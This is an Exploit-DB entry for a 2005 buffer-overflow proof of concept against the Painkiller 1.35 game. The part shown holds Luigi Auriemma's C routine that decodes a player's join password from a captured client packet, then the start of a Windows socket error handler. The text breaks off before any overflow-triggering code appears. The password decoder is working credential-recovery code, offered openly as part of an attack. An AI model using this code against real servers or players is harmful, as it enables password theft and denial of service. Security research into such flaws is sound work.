Exploit-DB #783
Description: Painkiller 1.35 - in-game cd-key alpha-numeric Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-02-02
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*

Painkiller packet's password encoder/decoder 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    http://aluigi.altervista.org


INTRODUCTION
============
When you want to join a password protected game server of Painkiller
(http://www.painkillergame.com) your client sends a packet containing
the packet ID (0x04), your client version, the 72 bytes of the Gamespy
auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a
"strange" text string after it.
This text string is just the password you have used to join and it is
encrypted using the other text string (the server challenge) sent by
the server in its previous packet.
My optimized algorithm is able to decode/encode the password stored in
the packet sent by the client.


HOW TO USE
==========
The function is an algorithm used for both encoding and decoding
without differences.
It needs only 2 parameters:
- pwd: the client's password stored in the packet
- enc: the server challenge string

Example:
  #include "painkiller_pckpwd.h"

    unsigned char   pwd[] = "5mjblOpV8N",
                    enc[] = "k7bEv4cGcw";
    painkiller_pckpwd(pwd, enc);
    printf("Password: %s\n", pwd);  // the password is "mypassword"


LICENSE
=======
    Copyright 2004 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    http://www.gnu.org/licenses/gpl.txt

*/

/* Inserted painkiller_pckpwd.h, winerr.h /str0ke */

void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {
    unsigned char   buff[64],
                    encbuff[64],
                    *p1,
                    *p2;
    int             len,
                    i,
                    cl,
                    dl,
                    esi,
                    edi;

    p1 = pwd;
    while(1) {
        if((*p1 >= '0') && (*p1 <= '9')) {
            *p1 -= 0x30;
        } else if((*p1 >= 'a') && (*p1 <= 'z')) {
            *p1 -= 0x57;
        } else if((*p1 >= 'A') && (*p1 <= '\\')) {
            *p1 -= 0x1d;
        } else {
            break;
        }
        p1++;
    }
    len = p1 - pwd;

    p1 = buff;
    for(i = 0; i < 64; i++) {
        *p1++ = i;
    }

    p1 = enc;
    p2 = encbuff;
    for(i = 0; i < 64; i++) {
        *p2++ = *p1++;
        if(!*p1) p1 = enc;
    }

    p1 = buff;
    p2 = encbuff;
    for(i = esi = 0; i < 64; i++) {
        cl = *p1;
        esi = (*p2 + cl + esi) & 63;
        *p1++ = buff[esi];
        buff[esi] = cl;
        p2++;
    }

    esi = edi = 0;
    p1 = pwd;
    for(i = 0; i < len; i++) {
        esi = (esi + 1) & 63;
        cl = buff[esi];
        edi = (cl + edi) & 63;
        dl = buff[edi];
        buff[esi] = dl;
        buff[edi] = cl;
        *p1++ ^= buff[(dl + cl) & 63];
    }

    p1 = pwd;
    while(len--) {
        if(*p1 <= 9) {
            *p1 += 0x30;
        } else if((*p1 >= 0xa) && (*p1 <= 0x23)) {
            *p1 += 0x57;
        } else {
            *p1 += 0x1d;
        }
        p1++;
    }
}


#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;